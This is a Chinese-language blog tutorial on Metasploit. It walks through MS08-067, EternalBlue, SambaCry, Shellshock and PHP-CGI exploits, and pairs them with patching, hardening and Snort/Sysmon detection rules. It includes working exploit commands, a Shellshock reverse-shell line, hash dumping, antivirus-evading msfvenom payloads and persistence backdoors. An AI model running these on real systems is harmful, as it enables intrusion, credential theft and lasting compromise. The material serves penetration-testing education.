Metasploit Framework 渗透测试实战:从原理到利用

Metasploit Framework 渗透测试实战:从原理到利用

摘要:本文系统讲解 Metasploit Framework 的架构设计、核心模块与实战应用,深入剖析 MS08-067、MS17-010 永恒之蓝、Shellshock 等经典漏洞的技术原理、攻击链与防御策略。


一、MSF 概述与架构

Metasploit Framework(MSF)是全球最广泛使用的渗透测试框架,由 Rapid7 公司维护,集成了 2000+ 漏洞利用模块,覆盖 Windows、Linux、macOS 等主流操作系统。

1.1 架构图

┌─────────────────────────────────────────────────────────────────────┐
│                        Metasploit Framework                          │
├─────────────────────────────────────────────────────────────────────┤
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────┐  ┌─────────────┐ │
│  │   REX       │  │  MSF::Core  │  │  MSF::Base  │  │   UI Layer  │ │
│  │  (基础库)   │  │  (核心API)  │  │ (友好API)   │  │ (控制台/GUI)│ │
│  └─────────────┘  └─────────────┘  └─────────────┘  └─────────────┘ │
├─────────────────────────────────────────────────────────────────────┤
│                           Modules (模块层)                           │
│  ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐  │
│  │ Exploits │ │ Payloads │ │ Auxiliary│ │ Encoders │ │   NOPs   │  │
│  │ 漏洞利用 │ │ 攻击载荷 │ │ 辅助模块 │ │ 编码器   │ │ 空指令   │  │
│  └──────────┘ └──────────┘ └──────────┘ └──────────┘ └──────────┘  │
│  ┌──────────┐ ┌──────────┐                                         │
│  │   Post   │ │  Plugins │                                         │
│  │ 后渗透   │ │  插件    │                                         │
│  └──────────┘ └──────────┘                                         │
├─────────────────────────────────────────────────────────────────────┤
│                        Data / Tools / Scripts                        │
└─────────────────────────────────────────────────────────────────────┘

1.2 目录结构详解

MSF 在 Kali Linux 中的安装路径:/usr/share/metasploit-framework/

/usr/share/metasploit-framework/
├── modules/                 # 核心模块(启动时自动加载)
│   ├── auxiliary/          # 辅助模块
│   │   ├── scanner/        #   ├─ 端口扫描、服务识别
│   │   ├── dos/            #   ├─ 拒绝服务攻击
│   │   └── fuzzers/        #   └─ 漏洞挖掘
│   ├── encoders/           # 编码器:绕过 IDS/IPS/AV
│   ├── exploits/           # Exploit:漏洞利用代码
│   ├── nops/               # NOP 滑行指令
│   ├── payloads/           # Payload:攻击载荷
│   │   ├── singles/        #   ├─ 单次执行
│   │   ├── stagers/        #   ├─ 分阶段载荷(stub)
│   │   └── stages/         #   └─ 完整功能载荷
│   └── post/               # 后渗透模块
│       ├── windows/        #   ├─ Windows 提权、信息收集
│       └── linux/          #   └─ Linux 后渗透
├── data/                    # 字典、二进制工具
├── plugins/                 # 数据库、扩展插件
├── scripts/                 # Meterpreter 脚本
└── tools/                   # 辅助工具集

模块命名规范

exploits/windows/smb/ms08_067_netapi
    ↓         ↓      ↓         ↓
  类型      系统   服务      模块名

payloads/windows/x64/meterpreter/reverse_tcp
    ↓         ↓       ↓            ↓
  类型      系统   架构          功能

二、核心命令体系

2.1 控制台命令

命令 功能 示例
msfconsole 启动交互式控制台 -
msfdb init 初始化数据库 -
db_status 检查数据库连接 -
workspace 管理工作区 workspace -a project1

2.2 模块操作命令

命令 功能 示例
search 搜索模块(支持正则) search type:exploit platform:windows smb
use 加载模块 use exploit/windows/smb/ms17_010_eternalblue
info 查看模块详情 infoinfo <module>
show options 显示必需/可选参数 -
show advanced 显示高级选项 -
show payloads 列出兼容载荷 -
show targets 列出支持的目标系统 -
set 设置参数 set RHOSTS 192.168.1.0/24
setg 全局设置(跨模块生效) setg LHOST 192.168.1.100
unset 清除参数 unset RHOSTS
check 检查目标是否存在漏洞 -
run / exploit 执行攻击 run -j(后台运行)

2.3 会话管理

命令 功能
sessions 列出所有会话
sessions -i <ID> 进入指定会话
sessions -k <ID> 终止会话
sessions -u <ID> 升级为 Meterpreter 会话
jobs 列出后台任务
jobs -k <ID> 终止后台任务

三、经典漏洞深度剖析

3.1 MS08-067:Windows Server 服务栈溢出

漏洞编号:CVE-2008-4250
CVSS 评分:10.0(Critical)
影响版本:Windows 2000、XP、Server 2003(未安装 KB958644)
攻击端口:445/TCP(SMB)

技术原理

该漏洞位于 Windows Server 服务的 NetPathCanonicalize 函数中,属于栈缓冲区溢出漏洞。

漏洞触发链

┌──────────┐    ┌──────────┐    ┌──────────┐    ┌──────────────────┐
│ 攻击者   │───>│ 445端口  │───>│ SMB请求  │───>│ NetPathCanonicalize│
└──────────┘    └──────────┘    └──────────┘    └─────────┬────────┘
                                                          │
                                                          ▼
                                              ┌──────────────────────┐
                                              │ 路径规范化处理       │
                                              │ (存在边界检查缺陷)   │
                                              └──────────┬───────────┘
                                                         │
                                                         ▼
                                              ┌──────────────────────┐
                                              │ 栈缓冲区溢出         │
                                              │ 覆盖返回地址         │
                                              └──────────┬───────────┘
                                                         │
                                                         ▼
                                              ┌──────────────────────┐
                                              │ Shellcode 执行       │
                                              │ 获取 SYSTEM 权限     │
                                              └──────────────────────┘

核心缺陷分析

// 伪代码:路径规范化逻辑
int NetPathCanonicalize(char* path) {
    char buffer[260];  // 固定大小栈缓冲区
    char* ptr = path;
    
    // 移除相对路径(如 ..\)
    while (*ptr == '\\') {
        ptr--;  // ← 漏洞点:未检查 ptr 是否越界
    }
    // 当路径以 "..\" 开头时,ptr 向前越界
    // 导致后续 strcpy 操作覆盖栈中返回地址
    strcpy(buffer, ptr);
}

栈溢出内存布局

┌─────────────────────────────────────────────────────┐
│                    栈内存布局                        │
├─────────────────────────────────────────────────────┤
│  低地址                                              │
│  ┌─────────────────────────────────────────────┐    │
│  │           局部变量 buffer[260]              │    │
│  └─────────────────────────────────────────────┘    │
│  ┌─────────────────────────────────────────────┐    │
│  │           保存的 EBP (4 bytes)              │←───┤── 攻击者覆盖
│  └─────────────────────────────────────────────┘    │
│  ┌─────────────────────────────────────────────┐    │
│  │           返回地址 EIP (4 bytes)            │←───┤── 跳转到 Shellcode
│  └─────────────────────────────────────────────┘    │
│  ┌─────────────────────────────────────────────┐    │
│  │           NOP 滑行区 (0x90 * N)             │    │
│  └─────────────────────────────────────────────┘    │
│  ┌─────────────────────────────────────────────┐    │
│  │           Shellcode (恶意代码)              │    │
│  └─────────────────────────────────────────────┘    │
│  高地址                                              │
└─────────────────────────────────────────────────────┘

攻击载荷构造

[填充数据] [覆盖EBP] [覆盖EIP] [NOP滑行] [Shellcode]
   ↓           ↓         ↓         ↓          ↓
 覆盖缓冲区  栈帧指针  跳转地址   0x90*16   恶意代码

MSF 利用过程

msfconsole
search ms08-067
use exploit/windows/smb/ms08_067_netapi
show targets    # 查看支持的目标系统

set RHOSTS 192.168.244.7
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.244.4
set TARGET 0    # 自动或指定目标系统版本

check           # 检查漏洞是否存在
run

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > shell
C:\Windows\system32> net user
C:\Windows\system32> net user hacker P@ssw0rd /add
C:\Windows\system32> net localgroup administrators hacker /add

防御措施

措施 操作
补丁修复 安装 KB958644
端口防护 关闭 445 端口或启用防火墙
网络隔离 禁用 SMBv1,限制内网访问
流量监控 检测异常 SMB 路径请求

3.2 MS17-010:永恒之蓝(EternalBlue)

漏洞编号:CVE-2017-0144 ~ CVE-2017-0148
CVSS 评分:10.0(Critical)
影响版本:Windows XP ~ Windows 10、Server 2003 ~ 2016
历史事件:2017 年 WannaCry 勒索病毒利用此漏洞感染全球 20 万+ 设备

技术原理

漏洞位于 SMBv1 协议处理 FEALIST(File Extended Attribute List)的内核函数中。

WannaCry 攻击链

┌─────────────────────────────────────────────────────────────────────┐
│                      WannaCry 攻击流程                               │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌──────────┐    ┌──────────────┐    ┌──────────────┐              │
│  │ 扫描阶段 │───>│ EternalBlue  │───>│ DoublePulsar │              │
│  │ (445端口)│    │ (SMB漏洞利用)│    │ (后门植入)   │              │
│  └──────────┘    └──────────────┘    └──────┬───────┘              │
│                                              │                       │
│                                              ▼                       │
│  ┌──────────┐    ┌──────────────┐    ┌──────────────┐              │
│  │ 加密文件 │<───│ 执行勒索软件 │<───│ 下载恶意载荷 │              │
│  │ 勒索赎金 │    │ WannaCry.exe │    │ (Tor网络)    │              │
│  └──────────┘    └──────────────┘    └──────────────┘              │
│                                                                      │
│  ┌──────────────────────────────────────────────────────────┐       │
│  │                    横向传播 (SMB)                         │       │
│  │    感染主机 ────> 扫描内网 ────> 攻击其他主机 ────> 循环  │       │
│  └──────────────────────────────────────────────────────────┘       │
└─────────────────────────────────────────────────────────────────────┘

漏洞触发链

┌──────────┐    ┌──────────┐    ┌──────────┐    ┌─────────────────────┐
│ 攻击者   │───>│ SMBv1    │───>│Transaction│───>│ FEALIST 处理        │
│          │    │ 协商     │    │ 请求      │    │ SrvOs2FeaListSizeToNt│
└──────────┘    └──────────┘    └──────────┘    └──────────┬──────────┘
                                                          │
                                                          ▼
                                              ┌──────────────────────┐
                                              │ 内存计算错误         │
                                              │ 整数溢出             │
                                              └──────────┬───────────┘
                                                         │
                                                         ▼
                                              ┌──────────────────────┐
                                              │ 内核池溢出           │
                                              │ 覆盖 SRVNET_BUFFER   │
                                              └──────────┬───────────┘
                                                         │
                                                         ▼
                                              ┌──────────────────────┐
                                              │ 劫持函数指针         │
                                              │ 内核代码执行         │
                                              └──────────────────────┘

七个关键缺陷(基于 Fuzzbunch 框架逆向分析):

编号 缺陷描述 影响
1 Transaction InParameters 缓冲区未初始化 信息泄露
2 TRANS_PEEK_NMPIPE 的 MaxParameterCount 限制失效 越界读取
3 Transaction 响应数据长度越界 内核信息泄露
4 Transaction Secondary 请求时序漏洞 竞态条件
5 连续数据包类型混淆 内存损坏
6 EA(扩展属性)类型分配错误 池溢出
7 内核态与用户态交互缺陷 权限提升

核心漏洞代码分析

// SrvOs2FeaListSizeToNt 函数简化逻辑
ULONG SrvOs2FeaListSizeToNt(PFEALIST FeaList) {
    ULONG Size = FeaList->cbList;  // 用户可控字段
    // ↓ 漏洞点:未验证 Size 是否超出实际数据范围
    // 当 Size 被恶意构造为大值时,后续计算发生整数溢出
    return Size + sizeof(NT_FEA);  // 整数溢出 → 小值
}

// 后续内存分配基于错误的大小
// 导致缓冲区溢出,覆盖相邻内核内存

MSF 利用过程

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.209.129
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.209.128

# 高级选项
set GroomAllocations 12    # 内核池预分配次数
set GroomDelta 5           # 分配间隔
set MaxExploitAttempts 3   # 最大尝试次数

check
run

meterpreter > sysinfo
Computer        : WIN7-PC
OS              : Windows 7 (6.1 Build 7601).
Architecture    : x64
System Language : zh_CN
Meterpreter     : x64/windows

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

防御措施

# 1. 检查补丁安装状态
Get-Hotfix -Id KB4013389, KB4012212, KB4012215

# 2. 禁用 SMBv1(永久)
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

# 3. 防火墙阻断 SMB 端口
netsh advfirewall firewall add rule name="Block SMB-TCP" dir=in action=block protocol=tcp localport=445
netsh advfirewall firewall add rule name="Block SMB-UDP" dir=in action=block protocol=udp localport=445

# 4. 验证 SMBv1 已禁用
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
# State 应显示为 "Disabled"

3.3 CVE-2017-7494:Samba 远程代码执行(SambaCry)

漏洞编号:CVE-2017-7494
CVSS 评分:10.0(Critical)
影响版本:Samba 3.5.0 ~ 4.6.4/4.5.10/4.4.14
别称:SambaCry(Linux 版永恒之蓝)

技术原理

漏洞位于 Samba 处理命名管道的 is_known_pipename 函数中。

漏洞触发链

┌──────────┐    ┌──────────┐    ┌──────────┐    ┌──────────────────┐
│ 攻击者   │───>│ SMB连接  │───>│上传恶意  │───>│ 请求命名管道     │
│          │    │          │    │  .so文件 │    │ is_known_pipename│
└──────────┘    └──────────┘    └──────────┘    └─────────┬────────┘
                                                          │
                                                          ▼
                                              ┌──────────────────────┐
                                              │ 路径验证缺陷         │
                                              │ 未过滤 "/" 符号      │
                                              └──────────┬───────────┘
                                                         │
                                                         ▼
                                              ┌──────────────────────┐
                                              │ dlopen() 加载恶意库  │
                                              │ 以 root 权限执行     │
                                              └──────────────────────┘

核心缺陷

// is_known_pipename 函数简化逻辑
bool is_known_pipename(const char *pipename) {
    // 预期:pipename 为相对路径,如 "lsarpc"
    // 实际:未过滤 "/" 符号
    // 攻击者可构造:"/home/share/malicious.so"
    
    char *module_path = find_module(pipename);
    // 拼接路径后调用 dlopen
    dlopen(module_path, RTLD_NOW);  // 以 root 权限加载!
}

利用条件

  1. 对 Samba 共享目录有写入权限(匿名或弱口令)
  2. Samba 服务以 root 权限运行
  3. 目标系统存在 libc.so.6 等共享库

MSF 利用过程

# 靶机环境(使用 Vulhub)
cd /path/to/vulhub/samba/CVE-2017-7494
docker-compose up -d

# 攻击机(Kali)
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.244.6
set PAYLOAD cmd/unix/reverse_netcat
set LHOST 192.168.244.4

check
run

[*] Command shell session 1 opened
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow

防御措施

# 1. 升级 Samba
apt update && apt install samba

# 2. 验证版本
smbd --version
# 应为 4.6.4+

# 3. 临时缓解(修改 smb.conf)
[global]
    nt pipe support = no    # 禁用命名管道
    read only = yes         # 共享目录只读

# 4. 重启服务
systemctl restart smbd nmbd

3.4 CVE-2014-6271:Shellshock(破壳漏洞)

漏洞编号:CVE-2014-6271
CVSS 评分:10.0(Critical)
影响版本:GNU Bash 1.14 ~ 4.3
受影响系统:几乎所有 Linux/Unix 发行版、macOS

技术原理

漏洞本质是 Bash 对环境变量中函数定义的解析缺陷,属于代码注入漏洞。

正常函数导出机制

# 定义函数并导出为环境变量
hello() { echo "Hello World"; }
export -f hello

# 子进程中可通过环境变量还原函数
bash -c 'hello'
# 输出: Hello World

漏洞触发

# 恶意环境变量构造
env 'VAR=() { :; }; echo VULNERABLE' bash -c "true"

Shellshock 攻击原理图

┌─────────────────────────────────────────────────────────────────────┐
│                    Shellshock 漏洞原理                               │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  正常解析:                                                           │
│  ┌──────────────────────────────────────────────────────────┐       │
│  │ VAR=() { :; }                                            │       │
│  │     ↑       ↑                                            │       │
│  │   函数开始  函数结束 → 解析终止,后续忽略                  │       │
│  └──────────────────────────────────────────────────────────┘       │
│                                                                      │
│  漏洞解析:                                                           │
│  ┌──────────────────────────────────────────────────────────┐       │
│  │ VAR=() { :; }; echo VULNERABLE                           │       │
│  │     ↑       ↑    ↑               ↑                       │       │
│  │   函数开始  函数结束  分号  恶意命令被错误执行!           │       │
│  └──────────────────────────────────────────────────────────┘       │
│                                                                      │
│  根本原因: parse_and_execute() 未检测函数定义的终止符 "}"           │
└─────────────────────────────────────────────────────────────────────┘

远程利用向量

攻击向量 注入点 示例
Apache CGI HTTP 请求头 User-Agent: () { :; }; /bin/bash -c 'id'
OpenSSH SSH_ORIGINAL_COMMAND SSH_ORIGINAL_COMMAND='() { :; }; id'
DHCP DHCP 选项字段 恶意 DHCP 服务器响应
Qmail 邮件头 发送恶意邮件

CGI 利用示例

# 探测漏洞
curl -H "User-Agent: () { :; }; echo; /bin/cat /etc/passwd" \
     http://192.168.1.100/cgi-bin/test.cgi

# 反弹 Shell
curl -H "User-Agent: () { :; }; /bin/bash -c 'nc -e /bin/bash 192.168.1.50 4444'" \
     http://192.168.1.100/cgi-bin/test.cgi

MSF 利用过程

msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.244.6
set RPORT 8080
set TARGETURI /cgi-bin/victim.cgi
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.244.4

run

[*] Command shell session 1 opened
id
uid=33(www-data) gid=33(www-data)

验证与修复

# 验证漏洞(存在漏洞则输出 "VULNERABLE")
env x='() { :;}; echo VULNERABLE' bash -c "echo test"

# 修复:升级 Bash
apt update && apt install --only-upgrade bash
# CentOS: yum update bash

# 验证修复(修复后只输出 "test")
env x='() { :;}; echo VULNERABLE' bash -c "echo test"
bash --version  # 确保 >= 4.3-013

3.5 CVE-2012-1823:PHP-CGI 参数注入

漏洞编号:CVE-2012-1823
CVSS 评分:7.5(High)
影响版本:PHP 5.0.0 ~ 5.3.11、5.4.0 ~ 5.4.1

技术原理

PHP-CGI 模式下,查询字符串被错误解析为命令行参数

PHP-CGI 参数注入原理

┌─────────────────────────────────────────────────────────────────────┐
│                    PHP-CGI 参数注入漏洞                              │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  正常流程 (RFC 3875):                                                │
│  ┌──────────────────────────────────────────────────────────┐       │
│  │ GET /index.php?foo=bar                                   │       │
│  │               ↓                                          │       │
│  │ QUERY_STRING = "foo=bar"                                 │       │
│  │               ↓                                          │       │
│  │ PHP 脚本通过 $_GET['foo'] 获取                           │       │
│  └──────────────────────────────────────────────────────────┘       │
│                                                                      │
│  漏洞利用:                                                           │
│  ┌──────────────────────────────────────────────────────────┐       │
│  │ GET /index.php?-s                                        │       │
│  │               ↓                                          │       │
│  │ PHP-CGI 将 "-s" 解析为命令行参数                         │       │
│  │               ↓                                          │       │
│  │ 执行 php -s(显示源码)                                  │       │
│  └──────────────────────────────────────────────────────────┘       │
│                                                                      │
│  代码执行 Payload:                                                   │
│  ┌──────────────────────────────────────────────────────────┐       │
│  │ POST /index.php?-d+allow_url_include=on                  │       │
│  │           +-d+auto_prepend_file=php://input              │       │
│  │                                                           │       │
│  │ <?php system("id"); ?>                                   │       │
│  └──────────────────────────────────────────────────────────┘       │
└─────────────────────────────────────────────────────────────────────┘

可利用的参数

参数 功能 利用场景
-s 显示源码 信息泄露
-i 显示 PHP 信息 信息收集
-d 设置 INI 选项 代码执行
-n 不加载 php.ini 绕过限制

MSF 利用过程

# 验证漏洞
curl "http://192.168.244.6:8080/index.php?-s"
# 若返回源码,则存在漏洞

msfconsole
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.244.6
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.244.4

run

[*] Meterpreter session 1 opened
meterpreter > sysinfo

防御措施

# Apache 配置过滤
RewriteEngine On
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*)$ $1? [L]

# 或使用 mod_security
SecRule ARGS "@rx ^-" "deny,log,id:1001"

3.6 其他经典漏洞速查

漏洞 CVE 类型 影响组件 MSF 模块
MS10-087 CVE-2010-3333 栈溢出 Word RTF exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
MS10-018 CVE-2010-0806 UAF IE TDC ActiveX exploit/windows/browser/ms10_018_ie_behaviors
Distcc CVE-2004-2678 命令注入 Distcc 2.x exploit/unix/misc/distcc_exec
vsftpd CVE-2011-2523 后门 vsftpd 2.3.4 exploit/unix/ftp/vsftpd_234_backdoor

四、后渗透与持久化

4.1 msfvenom 载荷生成

# 查看可用载荷
msfvenom --list payloads | grep windows

# 生成 Windows 反向 TCP 木马
msfvenom -p windows/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 LPORT=4444 \
         -f exe -o shell.exe

# 生成 Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 LPORT=4444 \
         -f elf -o shell.elf

# 生成 PHP Webshell
msfvenom -p php/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 LPORT=4444 \
         -f raw -o shell.php

# 生成 DLL(用于 DLL 劫持)
msfvenom -p windows/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 LPORT=4444 \
         -f dll -o malicious.dll

# 编码绕过 AV
msfvenom -p windows/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 LPORT=4444 \
         -e x86/shikata_ga_nai -i 5 \
         -f exe -o encoded_shell.exe

4.2 监听器配置

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444

# 高级选项
set ExitOnSession false    # 不退出,继续监听
set SessionCommunicationTimeout 300
set SessionExpirationTimeout 604800  # 7天

exploit -j  # 后台运行

4.3 Meterpreter 核心命令

类别 命令 功能
系统 sysinfo 系统信息
getuid 当前用户
getsystem 提权尝试
文件 pwd / lcd 查看/切换本地目录
upload / download 文件传输
cat / edit 查看/编辑文件
网络 ipconfig 网络配置
netstat 网络连接
route 路由表
监控 screenshot 屏幕截图
keyscan_start/stop/dump 键盘记录
webcam_snap 摄像头拍照
record_mic 麦克风录音
后渗透 hashdump 导出 SAM 哈希
migrate <PID> 进程迁移
run post/windows/manage/migrate 自动迁移到稳定进程
run vnc 远程桌面
持久化 run persistence 安装持久化后门

4.4 持久化后门

# 方法1:Meterpreter 持久化脚本
meterpreter > run persistence -U -i 10 -p 4444 -r 192.168.1.100
# -U: 用户登录时启动
# -i: 回连间隔(秒)
# -p: 回连端口
# -r: 回连 IP

# 方法2:注册表启动项
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d "C:\\shell.exe"

# 方法3:计划任务
meterpreter > execute -f cmd.exe -i -H -a "/c schtasks /create /tn backdoor /tr C:\\shell.exe /sc onstart /ru SYSTEM"

五、防御体系构建

5.1 补丁管理矩阵

漏洞 补丁编号 发布日期 优先级
MS08-067 KB958644 2008-10-23 🔴 紧急
MS17-010 KB4013389 2017-03-14 🔴 紧急
MS10-087 KB2423930 2010-11-09 🟠 重要
MS10-018 KB980182 2010-03-30 🟠 重要
Shellshock Bash 4.3-013 2014-09-24 🔴 紧急
SambaCry Samba 4.6.4 2017-05-24 🔴 紧急

5.2 网络加固 Checklist

# Windows 加固脚本

# 1. 禁用 SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# 2. 防火墙规则
netsh advfirewall firewall add rule name="Block SMB-TCP" dir=in action=block protocol=tcp localport=445
netsh advfirewall firewall add rule name="Block SMB-UDP" dir=in action=block protocol=udp localport=445
netsh advfirewall firewall add rule name="Block RDP" dir=in action=block protocol=tcp localport=3389

# 3. 启用 Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $false
Set-MpPreference -PUAProtection Enabled

# 4. 审计策略
auditpol /set /subcategory:"Security State Change" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable

5.3 检测规则示例

Snort 规则(检测 MS17-010)

alert tcp any any -> any 445 (msg:"MS17-010 EternalBlue SMB Exploit Attempt"; \
    flow:to_server,established; \
    content:"|00 00 00|"; depth:4; \
    content:"|FF|SMB"; within:4; distance:4; \
    content:"|00 00 00 00 00|"; within:5; distance:53; \
    metadata:impact_flag red; \
    classtype:attempted-admin; sid:1000001; rev:1;)

Sysmon 配置(检测 Meterpreter)

<Sysmon schemaversion="4.50">
  <EventFiltering>
    <!-- 检测网络连接 -->
    <NetworkConnect onmatch="include">
      <DestinationPort condition="is">4444</DestinationPort>
      <Image condition="contains">powershell.exe</Image>
    </NetworkConnect>
    
    <!-- 检测进程注入 -->
    <ProcessCreate onmatch="include">
      <ParentImage condition="contains">svchost.exe</ParentImage>
      <Image condition="contains">cmd.exe</Image>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

六、总结

Metasploit Framework 是渗透测试领域的核心工具,其模块化设计使安全从业者能够:

角色 应用场景
蓝队 理解漏洞原理,构建纵深防御,开发检测规则
红队 模拟真实攻击,评估安全态势,测试应急响应
研究者 分析漏洞机制,开发 PoC/Exp,贡献安全社区

学习路径建议

入门 → 掌握 MSF 基础命令 → 复现经典漏洞(MS08-067/MS17-010)
  ↓
进阶 → 学习载荷生成与编码 → 练习后渗透技巧
  ↓
高级 → 研究漏洞原理 → 开发自定义模块 → 参与漏洞赏金

⚠️ 法律声明:本文内容仅供授权安全测试、安全研究和教育用途。未经授权的渗透测试行为违反《中华人民共和国网络安全法》《中华人民共和国刑法》第二百八十五条等相关法律法规,可能面临刑事处罚。


参考资源

类型 链接
官方文档 https://www.metasploitunleashed.com/
漏洞数据库 https://www.rapid7.com/db/
CVE 详情 https://cvedetails.com/
靶场环境 https://github.com/vulhub/vulhub
Metasploitable https://sourceforge.net/projects/metasploitable/

posted @ 2026-03-01 15:53  Doanld  阅读(16)  评论(0)    收藏  举报